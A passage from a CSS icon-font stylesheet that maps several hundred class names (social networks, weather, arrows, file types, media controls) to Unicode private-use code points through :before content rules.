.icon-apple:before {
	content: "\e196";
}
.icon-finder:before {
	content: "\e197";
}
.icon-android:before {
	content: "\e198";
}
.icon-windows:before {
	content: "\e199";
}
.icon-windows8:before {
	content: "\e19a";
}
.icon-soundcloud:before {
	content: "\e19b";
}
.icon-soundcloud-2:before {
	content: "\e19c";
}
.icon-skype:before {
	content: "\e19d";
}
.icon-reddit:before {
	content: "\e19e";
}
.icon-linkedin:before {
	content: "\e19f";
}
.icon-lastfm:before {
	content: "\e1a0";
}
.icon-lastfm-2:before {
	content: "\e1a1";
}
.icon-delicious:before {
	content: "\e1a2";
}
.icon-stumbleupon:before {
	content: "\e1a3";
}
.icon-stumbleupon-2:before {
	content: "\e1a4";
}
.icon-stackoverflow:before {
	content: "\e1a5";
}
.icon-pinterest:before {
	content: "\e1a6";
}
.icon-pinterest-2:before {
	content: "\e1a7";
}
.icon-xing:before {
	content: "\e1a8";
}
.icon-xing-2:before {
	content: "\e1a9";
}
.icon-flattr:before {
	content: "\e1aa";
}
.icon-foursquare:before {
	content: "\e1ab";
}
.icon-foursquare-2:before {
	content: "\e1ac";
}
.icon-paypal:before {
	content: "\e1ad";
}
.icon-paypal-2:before {
	content: "\e1ae";
}
.icon-paypal-3:before {
	content: "\e1af";
}
.icon-yelp:before {
	content: "\e1b0";
}
.icon-libreoffice:before {
	content: "\e1b1";
}
.icon-file-pdf:before {
	content: "\e1b2";
}
.icon-file-openoffice:before {
	content: "\e1b3";
}
.icon-file-word:before {
	content: "\e1b4";
}
.icon-file-excel:before {
	content: "\e1b5";
}
.icon-file-zip:before {
	content: "\e1b6";
}
.icon-file-powerpoint:before {
	content: "\e1b7";
}
.icon-file-xml:before {
	content: "\e1b8";
}
.icon-file-css:before {
	content: "\e1b9";
}
.icon-html5:before {
	content: "\e1ba";
}
.icon-html5-2:before {
	content: "\e1bb";
}
.icon-css3:before {
	content: "\e1bc";
}
.icon-chrome:before {
	content: "\e1bd";
}
.icon-firefox:before {
	content: "\e1be";
}
.icon-IE:before {
	content: "\e1bf";
}
.icon-opera:before {
	content: "\e1c0";
}
.icon-safari:before {
	content: "\e1c1";
}
.icon-IcoMoon:before {
	content: "\e1c2";
}
.icon-chat:before {
	content: "\e1c5";
}
.icon-chat-alt-stroke:before {
	content: "\e1c6";
}
.icon-chat-alt-fill:before {
	content: "\e1c7";
}
.icon-comment-alt1-stroke:before {
	content: "\e1c8";
}
.icon-comment-alt1-fill:before {
	content: "\e1c9";
}
.icon-comment-stroke:before {
	content: "\e1ca";
}
.icon-comment-fill:before {
	content: "\e1cb";
}
.icon-comment-alt2-stroke:before {
	content: "\e1cc";
}
.icon-comment-alt2-fill:before {
	content: "\e1cd";
}
.icon-checkmark-3:before {
	content: "\e1ce";
}
.icon-check-alt:before {
	content: "\e1cf";
}
.icon-x:before {
	content: "\e1d0";
}
.icon-x-altx-alt:before {
	content: "\e1d1";
}
.icon-denied:before {
	content: "\e1d2";
}
.icon-cursor:before {
	content: "\e1d3";
}
.icon-rss:before {
	content: "\e1d4";
}
.icon-rss-alt:before {
	content: "\e1d5";
}
.icon-wrench-2:before {
	content: "\e1d6";
}
.icon-dial:before {
	content: "\e1d7";
}
.icon-cog-3:before {
	content: "\e1d8";
}
.icon-calendar-3:before {
	content: "\e1d9";
}
.icon-calendar-alt-stroke:before {
	content: "\e1da";
}
.icon-calendar-alt-fill:before {
	content: "\e1db";
}
.icon-share-2:before {
	content: "\e1dc";
}
.icon-mail-5:before {
	content: "\e1dd";
}
.icon-heart-stroke:before {
	content: "\e1de";
}
.icon-heart-fill:before {
	content: "\e1df";
}
.icon-movie:before {
	content: "\e1e0";
}
.icon-document-alt-stroke:before {
	content: "\e1e1";
}
.icon-document-alt-fill:before {
	content: "\e1e2";
}
.icon-document-stroke:before {
	content: "\e1e3";
}
.icon-document-fill:before {
	content: "\e1e4";
}
.icon-plus-2:before {
	content: "\e1e5";
}
.icon-plus-alt:before {
	content: "\e1e6";
}
.icon-minus-2:before {
	content: "\e1e7";
}
.icon-minus-alt:before {
	content: "\e1e8";
}
.icon-pin:before {
	content: "\e1e9";
}
.icon-link-2:before {
	content: "\e1ea";
}
.icon-bolt:before {
	content: "\e1eb";
}
.icon-move:before {
	content: "\e1ec";
}
.icon-move-alt1:before {
	content: "\e1ed";
}
.icon-move-alt2:before {
	content: "\e1ee";
}
.icon-equalizer-2:before {
	content: "\e1ef";
}
.icon-award-fill:before {
	content: "\e1f0";
}
.icon-award-stroke:before {
	content: "\e1f1";
}
.icon-magnifying-glass:before {
	content: "\e1f2";
}
.icon-trash-stroke:before {
	content: "\e1f3";
}
.icon-trash-fill:before {
	content: "\e1f4";
}
.icon-beaker-alt:before {
	content: "\e1f5";
}
.icon-beaker:before {
	content: "\e1f6";
}
.icon-key-stroke:before {
	content: "\e1f7";
}
.icon-key-fill:before {
	content: "\e1f8";
}
.icon-new-window:before {
	content: "\e1f9";
}
.icon-lightbulb:before {
	content: "\e1fa";
}
.icon-spin-alt:before {
	content: "\e1fb";
}
.icon-spin:before {
	content: "\e1fc";
}
.icon-curved-arrow:before {
	content: "\e1fd";
}
.icon-undo-3:before {
	content: "\e1fe";
}
.icon-reload:before {
	content: "\e1ff";
}
.icon-reload-alt:before {
	content: "\e200";
}
.icon-loop-4:before {
	content: "\e201";
}
.icon-loop-alt1:before {
	content: "\e202";
}
.icon-loop-alt2:before {
	content: "\e203";
}
.icon-loop-alt3:before {
	content: "\e204";
}
.icon-loop-alt4:before {
	content: "\e205";
}
.icon-transfer:before {
	content: "\e206";
}
.icon-move-vertical:before {
	content: "\e207";
}
.icon-move-vertical-alt1:before {
	content: "\e208";
}
.icon-move-vertical-alt2:before {
	content: "\e209";
}
.icon-move-horizontal:before {
	content: "\e20a";
}
.icon-move-horizontal-alt1:before {
	content: "\e20b";
}
.icon-move-horizontal-alt2:before {
	content: "\e20c";
}
.icon-arrow-left-4:before {
	content: "\e20d";
}
.icon-arrow-left-alt1:before {
	content: "\e20e";
}
.icon-arrow-left-alt2:before {
	content: "\e20f";
}
.icon-arrow-right-4:before {
	content: "\e210";
}
.icon-arrow-right-alt1:before {
	content: "\e211";
}
.icon-arrow-right-alt2:before {
	content: "\e212";
}
.icon-arrow-up-4:before {
	content: "\e213";
}
.icon-arrow-up-alt1:before {
	content: "\e214";
}
.icon-arrow-up-alt2:before {
	content: "\e215";
}
.icon-arrow-down-4:before {
	content: "\e216";
}
.icon-arrow-down-alt1:before {
	content: "\e217";
}
.icon-arrow-down-alt2:before {
	content: "\e218";
}
.icon-cd:before {
	content: "\e219";
}
.icon-steering-wheel:before {
	content: "\e21a";
}
.icon-microphone:before {
	content: "\e21b";
}
.icon-headphones-2:before {
	content: "\e21c";
}
.icon-volume:before {
	content: "\e21d";
}
.icon-volume-mute-3:before {
	content: "\e21e";
}
.icon-play-4:before {
	content: "\e21f";
}
.icon-pause-3:before {
	content: "\e220";
}
.icon-stop-3:before {
	content: "\e221";
}
.icon-eject-2:before {
	content: "\e222";
}
.icon-first-2:before {
	content: "\e223";
}
.icon-last-2:before {
	content: "\e224";
}
.icon-play-alt:before {
	content: "\e225";
}
.icon-fullscreen-exit:before {
	content: "\e226";
}
.icon-fullscreen-exit-alt:before {
	content: "\e227";
}
.icon-fullscreen:before {
	content: "\e228";
}
.icon-fullscreen-alt:before {
	content: "\e229";
}
.icon-iphone:before {
	content: "\e22a";
}
.icon-battery-empty:before {
	content: "\e22b";
}
.icon-battery-half:before {
	content: "\e22c";
}
.icon-battery-full:before {
	content: "\e22d";
}
.icon-battery-charging:before {
	content: "\e22f";
}
.icon-compass-2:before {
	content: "\e230";
}
.icon-box:before {
	content: "\e231";
}
.icon-folder-stroke:before {
	content: "\e232";
}
.icon-folder-fill:before {
	content: "\e233";
}
.icon-at:before {
	content: "\e234";
}
.icon-ampersand:before {
	content: "\e235";
}
.icon-info-3:before {
	content: "\e236";
}
.icon-question-mark:before {
	content: "\e237";
}
.icon-pilcrow-2:before {
	content: "\e238";
}
.icon-hash:before {
	content: "\e239";
}
.icon-left-quote:before {
	content: "\e23a";
}
.icon-right-quote:before {
	content: "\e23b";
}
.icon-left-quote-alt:before {
	content: "\e23c";
}
.icon-right-quote-alt:before {
	content: "\e23d";
}
.icon-article:before {
	content: "\e23e";
}
.icon-read-more:before {
	content: "\e23f";
}
.icon-list-3:before {
	content: "\e240";
}
.icon-list-nested:before {
	content: "\e241";
}
.icon-book-2:before {
	content: "\e242";
}
.icon-book-alt:before {
	content: "\e243";
}
.icon-book-alt2:before {
	content: "\e244";
}
.icon-pen-2:before {
	content: "\e245";
}
.icon-pen-alt-stroke:before {
	content: "\e246";
}
.icon-pen-alt-fill:before {
	content: "\e247";
}
.icon-pen-alt2:before {
	content: "\e248";
}
.icon-brush:before {
	content: "\e249";
}
.icon-brush-alt:before {
	content: "\e24a";
}
.icon-eyedropper:before {
	content: "\e24b";
}
.icon-layers-alt:before {
	content: "\e24c";
}
.icon-layers:before {
	content: "\e24d";
}
.icon-image-3:before {
	content: "\e24e";
}
.icon-camera-3:before {
	content: "\e24f";
}
.icon-aperture:before {
	content: "\e250";
}
.icon-aperture-alt:before {
	content: "\e251";
}
.icon-chart:before {
	content: "\e252";
}
.icon-chart-alt:before {
	content: "\e253";
}
.icon-bars-3:before {
	content: "\e254";
}
.icon-bars-alt:before {
	content: "\e255";
}
.icon-eye-3:before {
	content: "\e256";
}
.icon-user-5:before {
	content: "\e257";
}
.icon-home-4:before {
	content: "\e258";
}
.icon-clock-3:before {
	content: "\e259";
}
.icon-lock-stroke:before {
	content: "\e25a";
}
.icon-lock-fill:before {
	content: "\e25b";
}
.icon-unlock-stroke:before {
	content: "\e25c";
}
.icon-unlock-fill:before {
	content: "\e25d";
}
.icon-tag-stroke:before {
	content: "\e25e";
}
.icon-tag-fill:before {
	content: "\e25f";
}
.icon-sun-stroke:before {
	content: "\e260";
}
.icon-sun-fill:before {
	content: "\e261";
}
.icon-moon-stroke:before {
	content: "\e262";
}
.icon-moon-fill:before {
	content: "\e263";
}
.icon-cloud-2:before {
	content: "\e264";
}
.icon-rain:before {
	content: "\e265";
}
.icon-umbrella:before {
	content: "\e266";
}
.icon-star-4:before {
	content: "\e267";
}
.icon-map-pin-stroke:before {
	content: "\e268";
}
.icon-map-pin-fill:before {
	content: "\e269";
}
.icon-map-pin-alt:before {
	content: "\e26a";
}
.icon-target-2:before {
	content: "\e26b";
}
.icon-download-4:before {
	content: "\e26c";
}
.icon-upload-4:before {
	content: "\e26d";
}
.icon-cloud-download-2:before {
	content: "\e26e";
}
.icon-cloud-upload-2:before {
	content: "\e26f";
}
.icon-fork:before {
	content: "\e270";
}
.icon-paperclip:before {
	content: "\e271";
}
.icon-sunrise:before {
	content: "\e272";
}
.icon-sun:before {
	content: "\e273";
}
.icon-moon:before {
	content: "\e274";
}
.icon-sun-2:before {
	content: "\e275";
}
.icon-windy:before {
	content: "\e276";
}
.icon-wind:before {
	content: "\e277";
}
.icon-snowflake:before {
	content: "\e278";
}
.icon-cloudy:before {
	content: "\e279";
}
.icon-cloud-3:before {
	content: "\e27a";
}
.icon-weather:before {
	content: "\e27b";
}
.icon-weather-2:before {
	content: "\e27c";
}
.icon-weather-3:before {
	content: "\e27d";
}
.icon-lines:before {
	content: "\e27e";
}
.icon-cloud-4:before {
	content: "\e27f";
}
.icon-lightning-2:before {
	content: "\e280";
}
.icon-lightning-3:before {
	content: "\e281";
}
.icon-rainy:before {
	content: "\e282";
}
.icon-rainy-2:before {
	content: "\e283";
}
.icon-windy-2:before {
	content: "\e284";
}
.icon-windy-3:before {
	content: "\e285";
}
.icon-snowy:before {
	content: "\e286";
}
.icon-snowy-2:before {
	content: "\e287";
}
.icon-snowy-3:before {
	content: "\e288";
}
.icon-weather-4:before {
	content: "\e289";
}
.icon-cloudy-2:before {
	content: "\e28a";
}
.icon-cloud-5:before {
	content: "\e28b";
}
.icon-lightning-4:before {
	content: "\e28c";
}
.icon-sun-3:before {
	content: "\e28d";
}
.icon-moon-2:before {
	content: "\e28e";
}
.icon-cloudy-3:before {
	content: "\e28f";
}
.icon-cloud-6:before {
	content: "\e290";
}
.icon-cloud-7:before {
	content: "\e291";
}
.icon-lightning-5:before {
	content: "\e292";
}
.icon-rainy-3:before {
	content: "\e293";
}
.icon-rainy-4:before {
	content: "\e294";
}
.icon-windy-4:before {
	content: "\e295";
}
.icon-windy-5:before {
	content: "\e296";
}
.icon-snowy-4:before {
	content: "\e297";
}
.icon-snowy-5:before {
	content: "\e298";
}
.icon-weather-5:before {
	content: "\e299";
}
.icon-cloudy-4:before {
	content: "\e29a";
}
.icon-lightning-6:before {
	content: "\e29b";
}
.icon-thermometer:before {
	content: "\e29c";
}
.icon-compass-3:before {
	content: "\e29d";
}
.icon-none:before {
	content: "\e29e";
}
.icon-Celsius:before {
	content: "\e29f";
}
.icon-Fahrenheit:before {
	content: "\e2a0";
}
.icon-warning-2:before {
	content: "\e1c3";
}
.icon-cloud-8:before {
	content: "\e1c4";
}
.icon-locked:before {
	content: "\e22e";
}
.icon-inbox:before {
	content: "\e2a1";
}
.icon-comment:before {
	content: "\e2a2";
}
.icon-mic:before {
	content: "\e2a3";
}
.icon-envelope:before {
	content: "\e2a4";
}
.icon-briefcase-2:before {
	content: "\e2a5";
}
.icon-cart-4:before {
	content: "\e2a6";
}
.icon-contrast-2:before {
	content: "\e2a7";
}
.icon-clock-4:before {
	content: "\e2a8";
}
.icon-user-6:before {
	content: "\e2a9";
}
.icon-cog-4:before {
	content: "\e2aa";
}
.icon-music-2:before {
	content: "\e2ab";
}
.icon-twitter-4:before {
	content: "\e2ac";
}
.icon-pencil-3:before {
	content: "\e2ad";
}
.icon-frame:before {
	content: "\e2ae";
}
.icon-switch-2:before {
	content: "\e2af";
}
.icon-star-5:before {
	content: "\e2b0";
}
.icon-key-3:before {
	content: "\e2b1";
}
.icon-chart-2:before {
	content: "\e2b2";
}
.icon-apple-2:before {
	content: "\e2b3";
}
.icon-file-5:before {
	content: "\e2b4";
}
.icon-plus-3:before {
	content: "\e2b5";
}
.icon-minus-3:before {
	content: "\e2b6";
}
.icon-picture:before {
	content: "\e2b7";
}
.icon-folder-2:before {
	content: "\e2b8";
}
.icon-camera-4:before {
	content: "\e2b9";
}
.icon-search-2:before {
	content: "\e2ba";
}
.icon-dribbble-4:before {
	content: "\e2bb";
}
.icon-forrst-3:before {
	content: "\e2bc";
}
.icon-feed-5:before {
	content: "\e2bd";
}
.icon-blocked-2:before {
	content: "\e2be";
}
.icon-target-3:before {
	content: "\e2bf";
}
.icon-play-5:before {
	content: "\e2c0";
}
.icon-pause-4:before {
	content: "\e2c1";
}
.icon-bug-2:before {
	content: "\e2c2";
}
.icon-console-2:before {
	content: "\e2c3";
}
.icon-film-2:before {
	content: "\e2c4";
}
.icon-type:before {
	content: "\e2c5";
}
.icon-home-5:before {
	content: "\e2c6";
}
.icon-earth-2:before {
	content: "\e2c7";
}
.icon-location-3:before {
	content: "\e2c8";
}
.icon-info-4:before {
	content: "\e2c9";
}
.icon-eye-4:before {
	content: "\e2ca";
}
.icon-heart-3:before {
	content: "\e2cb";
}
.icon-bookmark-2:before {
	content: "\e2cc";
}
.icon-wrench-3:before {
	content: "\e2cd";
}
.icon-calendar-4:before {
	content: "\e2ce";
}
.icon-window:before {
	content: "\e2cf";
}
.icon-monitor:before {
	content: "\e2d0";
}
.icon-mobile-3:before {
	content: "\e2d1";
}
.icon-droplet-2:before {
	content: "\e2d2";
}
.icon-mouse:before {
	content: "\e2d3";
}
.icon-refresh:before {
	content: "\e2d4";
}
.icon-location-4:before {
	content: "\e2d5";
}
.icon-tag-2:before {
	content: "\e2d6";
}
.icon-phone-2:before {
	content: "\e2d7";
}
.icon-star-6:before {
	content: "\e2d8";
}
.icon-pointer:before {
	content: "\e2d9";
}
.icon-thumbs-up-3:before {
	content: "\e2da";
}
.icon-thumbs-down:before {
	content: "\e2db";
}
.icon-headphones-3:before {
	content: "\e2dc";
}
.icon-move-2:before {
	content: "\e2dd";
}
.icon-checkmark-4:before {
	content: "\e2de";
}
.icon-cancel:before {
	content: "\e2df";
}
.icon-skype-2:before {
	content: "\e2e0";
}
.icon-gift-2:before {
	content: "\e2e1";
}
.icon-cone:before {
	content: "\e2e2";
}
.icon-alarm-3:before {
	content: "\e2e3";
}
.icon-coffee:before {
	content: "\e2e4";
}
.icon-basket:before {
	content: "\e2e5";
}
.icon-flag-2:before {
	content: "\e2e6";
}
.icon-ipod:before {
	content: "\e2e7";
}
.icon-trashcan:before {
	content: "\e2e8";
}
.icon-bolt-2:before {
	content: "\e2e9";
}
.icon-ampersand-2:before {
	content: "\e2ea";
}
.icon-compass-4:before {
	content: "\e2eb";
}
.icon-list-4:before {
	content: "\e2ec";
}
.icon-grid:before {
	content: "\e2ed";
}
.icon-volume-2:before {
	content: "\e2ee";
}
.icon-volume-3:before {
	content: "\e2ef";
}
.icon-stats-2:before {
	content: "\e2f0";
}
.icon-target-4:before {
	content: "\e2f1";
}
.icon-forward-4:before {
	content: "\e2f2";
}
.icon-paperclip-2:before {
	content: "\e2f3";
}
.icon-keyboard-2:before {
	content: "\e2f4";
}
.icon-crop-2:before {
	content: "\e2f5";
}
.icon-floppy:before {
	content: "\e2f6";
}
.icon-filter-3:before {
	content: "\e2f7";
}
.icon-trophy-2:before {
	content: "\e2f8";
}
.icon-diary:before {
	content: "\e2f9";
}
.icon-address-book-2:before {
	content: "\e2fa";
}
.icon-stop-4:before {
	content: "\e2fb";
}
.icon-smiley-3:before {
	content: "\e2fc";
}
.icon-shit:before {
	content: "\e2fd";
}
.icon-bookmark-3:before {
	content: "\e2fe";
}
.icon-camera-5:before {
	content: "\e2ff";
}
.icon-lamp:before {
	content: "\e300";
}
.icon-disk-2:before {
	content: "\e301";
}
.icon-button:before {
	content: "\e302";
}
.icon-database:before {
	content: "\e303";
}
.icon-credit-card:before {
	content: "\e304";
}
.icon-atom:before {
	content: "\e305";
}
.icon-winsows:before {
	content: "\e306";
}
.icon-target-5:before {
	content: "\e307";
}
.icon-battery:before {
	content: "\e308";
}
.icon-code-2:before {
	content: "\e309";
}
.icon-renren:before {
	content: "\f18b";
}
.icon-weibo:before {
	content: "\f18a";
}
.icon-vk:before {
	content: "\f189";
}
.icon-bug-3:before {
	content: "\f188";
}
.icon-archive:before {
	content: "\f187";
}
.icon-moon-3:before {
	content: "\f186";
}
.icon-sun-4:before {
	content: "\f185";
}
.icon-gittip:before {
	content: "\f184";
}
.icon-male:before {
	content: "\f183";
}
.icon-female:before {
	content: "\f182";
}
.icon-trello:before {
	content: "\f181";
}
.icon-foursquare-3:before {
	content: "\f180";
}
.icon-skype-3:before {
	content: "\f17e";
}
.icon-dribbble-5:before {
	content: "\f17d";
}
.icon-linux:before {
	content: "\f17c";
}
.icon-android-2:before {
	content: "\f17b";
}
.icon-windows-2:before {
	content: "\f17a";
}
.icon-apple-3:before {
	content: "\f179";
}
.icon-long-arrow-right:before {
	content: "\f178";
}
.icon-long-arrow-left:before {
	content: "\f177";
}
.icon-long-arrow-up:before {
	content: "\f176";
}
.icon-long-arrow-down:before {
	content: "\f175";
}
.icon-tumblr-sign:before {
	content: "\f174";
}
.icon-tumblr-3:before {
	content: "\f173";
}
.icon-bitbucket-sign:before {
	content: "\f172";
}
.icon-bitbucket:before {
	content: "\f171";
}
.icon-adn:before {
	content: "\f170";
}
.icon-flickr-5:before {
	content: "\f16e";
}
.icon-instagram-2:before {
	content: "\f16d";
}
.icon-stackexchange:before {
	content: "\f16c";
}
.icon-dropbox:before {
	content: "\f16b";
}
.icon-youtube-play:before {
	content: "\f16a";
}
.icon-xing-sign:before {
	content: "\f169";
}
.icon-xing-3:before {
	content: "\f168";
}
.icon-youtube-3:before {
	content: "\f167";
}
.icon-youtube-sign:before {
	content: "\f166";
}
.icon-thumbs-down-2:before {
	content: "\f165";
}
.icon-thumbs-up-4:before {
	content: "\f164";
}
.icon-sort-by-order-alt:before {
	content: "\f163";
}
.icon-sort-by-order:before {
	content: "\f162";
}
.icon-sort-by-attributes-alt:before {
	content: "\f161";
}
.icon-sort-by-attributes:before {
	content: "\f160";
}
.icon-sort-by-alphabet-alt:before {
	content: "\f15e";
}
.icon-sort-by-alphabet:before {
	content: "\f15d";
}
.icon-file-text:before {
	content: "\f15c";
}
.icon-file-6:before {
	content: "\f15b";
}
.icon-bitcoin:before {
	content: "\f15a";
}
.icon-won:before {
	content: "\f159";
}
.icon-renminbi:before {
	content: "\f158";
}
.icon-yen:before {
	content: "\f157";
}
.icon-rupee:before {
	content: "\f156";
}
.icon-dollar:before {
	content: "\f155";
}
.icon-gbp:before {
	content: "\f154";
}
.icon-euro:before {
	content: "\f153";
}
.icon-expand-3:before {
	content: "\f152";
}
.icon-collapse-top:before {
	content: "\f151";
}
.icon-collapse:before {
	content: "\f150";
}
.icon-compass-5:before {
	content: "\f14e";
}
.icon-share-sign:before {
	content: "\f14d";
}
.icon-external-link-sign:before {
	content: "\f14c";
}
.icon-edit-sign:before {
	content: "\f14b";
}
.icon-check-sign:before {
	content: "\f14a";
}
.icon-level-down:before {
	content: "\f149";
}
.icon-level-up:before {
	content: "\f148";
}
.icon-check-minus:before {
	content: "\f147";
}
.icon-minus-sign-alt:before {
	content: "\f146";
}
.icon-ticket-2:before {
	content: "\f145";
}
.icon-play-sign:before {
	content: "\f144";
}
.icon-rss-sign:before {
	content: "\f143";
}
.icon-ellipsis-vertical:before {
	content: "\f142";
}
.icon-ellipsis-horizontal:before {
	content: "\f141";
}
.icon-bullseye:before {
	content: "\f140";
}
.icon-unlock-alt:before {
	content: "\f13e";
}
.icon-anchor:before {
	content: "\f13d";
}
.icon-css3-2:before {
	content: "\f13c";
}
.icon-html5-3:before {
	content: "\f13b";
}
.icon-chevron-sign-down:before {
	content: "\f13a";
}
.icon-chevron-sign-up:before {
	content: "\f139";
}
.icon-chevron-sign-right:before {
	content: "\f138";
}
.icon-chevron-sign-left:before {
	content: "\f137";
}
.icon-maxcdn:before {
	content: "\f136";
}
.icon-rocket-2:before {
	content: "\f135";
}
.icon-fire-extinguisher:before {
	content: "\f134";
}
.icon-calendar-empty:before {
	content: "\f133";
}
.icon-shield-2:before {
	content: "\f132";
}
.icon-microphone-off:before {
	content: "\f131";
}
.icon-microphone-2:before {
	content: "\f130";
}
.icon-puzzle:before {
	content: "\f12e";
}
.icon-eraser:before {
	content: "\f12d";
}
.icon-subscript:before {
	content: "\f12c";
}
.icon-superscript:before {
	content: "\f12b";
}
.icon-exclamation:before {
	content: "\f12a";
}
.icon-info-5:before {
	content: "\f129";
}
.icon-question-2:before {
	content: "\f128";
}
.icon-unlink:before {
	content: "\f127";
}
.icon-code-fork:before {
	content: "\f126";
}
.icon-crop-3:before {
	content: "\f125";
}
.icon-location-arrow:before {
	content: "\f124";
}
.icon-star-half-full:before {
	content: "\f123";
}
.icon-reply-all:before {
	content: "\f122";
}
.icon-code-3:before {
	content: "\f121";
}
.icon-terminal:before {
	content: "\f120";
}
.icon-flag-checkered:before {
	content: "\f11e";
}
.icon-flag-alt:before {
	content: "\f11d";
}
.icon-keyboard-3:before {
	content: "\f11c";
}
.icon-gamepad:before {
	content: "\f11b";
}
.icon-meh:before {
	content: "\f11a";
}
.icon-frown:before {
	content: "\f119";
}
.icon-smile:before {
	content: "\f118";
}
.icon-collapse-alt:before {
	content: "\f117";
}
.icon-expand-alt:before {
	content: "\f116";
}
.icon-folder-open-alt:before {
	content: "\f115";
}
.icon-folder-close-alt:before {
	content: "\f114";
}
.icon-github-alt:before {
	content: "\f113";
}
.icon-reply-2:before {
	content: "\f112";
}
.icon-circle:before {
	content: "\f111";
}
.icon-spinner-7:before {
	content: "\f110";
}
.icon-quote-right:before {
	content: "\f10e";
}
.icon-quote-left:before {
	content: "\f10d";
}
.icon-circle-blank:before {
	content: "\f10c";
}
.icon-mobile-4:before {
	content: "\f10b";
}
.icon-tablet-2:before {
	content: "\f10a";
}
.icon-laptop-2:before {
	content: "\f109";
}
.icon-desktop:before {
	content: "\f108";
}
.icon-angle-down:before {
	content: "\f107";
}
.icon-angle-up:before {
	content: "\f106";
}
.icon-angle-right:before {
	content: "\f105";
}
.icon-angle-left:before {
	content: "\f104";
}
.icon-double-angle-down:before {
	content: "\f103";
}
.icon-double-angle-up:before {
	content: "\f102";
}
.icon-double-angle-right:before {
	content: "\f101";
}
.icon-double-angle-left:before {
	content: "\f100";
}
.icon-plus-sign:before {
	content: "\f0fe";
}
.icon-h-sign:before {
	content: "\f0fd";
}
.icon-beer:before {
	content: "\f0fc";
}
.icon-fighter-jet:before {
	content: "\f0fb";
}
.icon-medkit:before {
	content: "\f0fa";
}
.icon-ambulance:before {
	content: "\f0f9";
}
.icon-hospital:before {
	content: "\f0f8";
}
.icon-building:before {
	content: "\f0f7";
}
.icon-file-alt:before {
	content: "\f0f6";
}
.icon-food-2:before {
	content: "\f0f5";
}
.icon-coffee-2:before {
	content: "\f0f4";
}
.icon-bell-alt:before {
	content: "\f0f3";
}
.icon-suitcase:before {
	content: "\f0f2";
}
.icon-stethoscope:before {
	content: "\f0f1";
}
.icon-user-md:before {
	content: "\f0f0";
}
.icon-cloud-upload-3:before {
	content: "\f0ee";
}
.icon-cloud-download-3:before {
	content: "\f0ed";
}
.icon-exchange:before {
	content: "\f0ec";
}
.icon-lightbulb-2:before {
	content: "\f0eb";
}
.icon-paste-4:before {
	content: "\f0ea";
}
.icon-umbrella-2:before {
	content: "\f0e9";
}
.icon-sitemap:before {
	content: "\f0e8";
}
.icon-bolt-3:before {
	content: "\f0e7";
}
.icon-comments-alt:before {
	content: "\f0e6";
}
.icon-comment-alt:before {
	content: "\f0e5";
}
.icon-dashboard-2:before {
	content: "\f0e4";
}
.icon-legal:before {
	content: "\f0e3";
}
.icon-undo-4:before {
	content: "\f0e2";
}
.icon-linkedin-2:before {
	content: "\f0e1";
}
.icon-envelope-alt:before {
	content: "\f0e0";
}
.icon-sort-up:before {
	content: "\f0de";
}
.icon-sort-down:before {
	content: "\f0dd";
}
.icon-sort:before {
	content: "\f0dc";
}
.icon-columns:before {
	content: "\f0db";
}
.icon-caret-right:before {
	content: "\f0da";
}
.icon-caret-left:before {
	content: "\f0d9";
}
.icon-caret-up:before {
	content: "\f0d8";
}
.icon-caret-down:before {
	content: "\f0d7";
}
.icon-money:before {
	content: "\f0d6";
}
.icon-google-plus-5:before {
	content: "\f0d5";
}
.icon-google-plus-sign:before {
	content: "\f0d4";
}
.icon-pinterest-sign:before {
	content: "\f0d3";
}
.icon-pinterest-3:before {
	content: "\f0d2";
}
.icon-truck-2:before {
	content: "\f0d1";
}
.icon-magic:before {
	content: "\f0d0";
}
.icon-table-3:before {
	content: "\f0ce";
}
.icon-underline-2:before {
	content: "\f0cd";
}
.icon-strikethrough-2:before {
	content: "\f0cc";
}
.icon-list-ol:before {
	content: "\f0cb";
}
.icon-list-ul:before {
	content: "\f0ca";
}
.icon-reorder:before {
	content: "\f0c9";
}
.icon-sign-blank:before {
	content: "\f0c8";
}
.icon-save:before {
	content: "\f0c7";
}
.icon-paper-clip:before {
	content: "\f0c6";
}
.icon-copy-4:before {
	content: "\f0c5";
}
.icon-cut:before {
	content: "\f0c4";
}
.icon-beaker-2:before {
	content: "\f0c3";
}
.icon-cloud-9:before {
	content: "\f0c2";
}
.icon-link-3:before {
	content: "\f0c1";
}
.icon-group:before {
	content: "\f0c0";
}
.icon-fullscreen-2:before {
	content: "\f0b2";
}
.icon-briefcase-3:before {
	content: "\f0b1";
}
.icon-filter-4:before {
	content: "\f0b0";
}
.icon-tasks:before {
	content: "\f0ae";
}
.icon-wrench-4:before {
	content: "\f0ad";
}
.icon-globe-2:before {
	content: "\f0ac";
}
.icon-circle-arrow-down:before {
	content: "\f0ab";
}
.icon-circle-arrow-up:before {
	content: "\f0aa";
}
.icon-circle-arrow-right:before {
	content: "\f0a9";
}
.icon-circle-arrow-left:before {
	content: "\f0a8";
}
.icon-hand-down:before {
	content: "\f0a7";
}
.icon-hand-up:before {
	content: "\f0a6";
}
.icon-hand-left:before {
	content: "\f0a5";
}
.icon-hand-right:before {
	content: "\f0a4";
}
.icon-certificate:before {
	content: "\f0a3";
}
.icon-bell-2:before {
	content: "\f0a2";
}
.icon-bullhorn-2:before {
	content: "\f0a1";
}
.icon-hdd:before {
	content: "\f0a0";
}
.icon-rss-2:before {
	content: "\f09e";
}
.icon-credit-2:before {
	content: "\f09d";
}
.icon-unlock:before {
	content: "\f09c";
}
.icon-github-6:before {
	content: "\f09b";
}
.icon-facebook-4:before {
	content: "\f09a";
}
.icon-twitter-5:before {
	content: "\f099";
}
.icon-phone-sign:before {
	content: "\f098";
}
.icon-bookmark-empty:before {
	content: "\f097";
}
.icon-check-empty:before {
	content: "\f096";
}
.icon-phone-3:before {
	content: "\f095";
}
.icon-lemon:before {
	content: "\f094";
}
.icon-upload-alt:before {
	content: "\f093";
}
.icon-github-sign:before {
	content: "\f092";
}
.icon-trophy-3:before {
	content: "\f091";
}
.icon-signin:before {
	content: "\f090";
}
.icon-external-link:before {
	content: "\f08e";
}
.icon-pushpin-2:before {
	content: "\f08d";
}
.icon-linkedin-sign:before {
	content: "\f08c";
}
.icon-signout:before {
	content: "\f08b";
}
.icon-heart-empty:before {
	content: "\f08a";
}
.icon-star-half:before {
	content: "\f089";
}
.icon-thumbs-down-3:before {
	content: "\f088";
}
.icon-thumbs-up-5:before {
	content: "\f087";
}
.icon-comments:before {
	content: "\f086";
}
.icon-cogs-2:before {
	content: "\f085";
}
.icon-key-4:before {
	content: "\f084";
}
.icon-camera-retro:before {
	content: "\f083";
}
.icon-facebook-sign:before {
	content: "\f082";
}
.icon-twitter-sign:before {
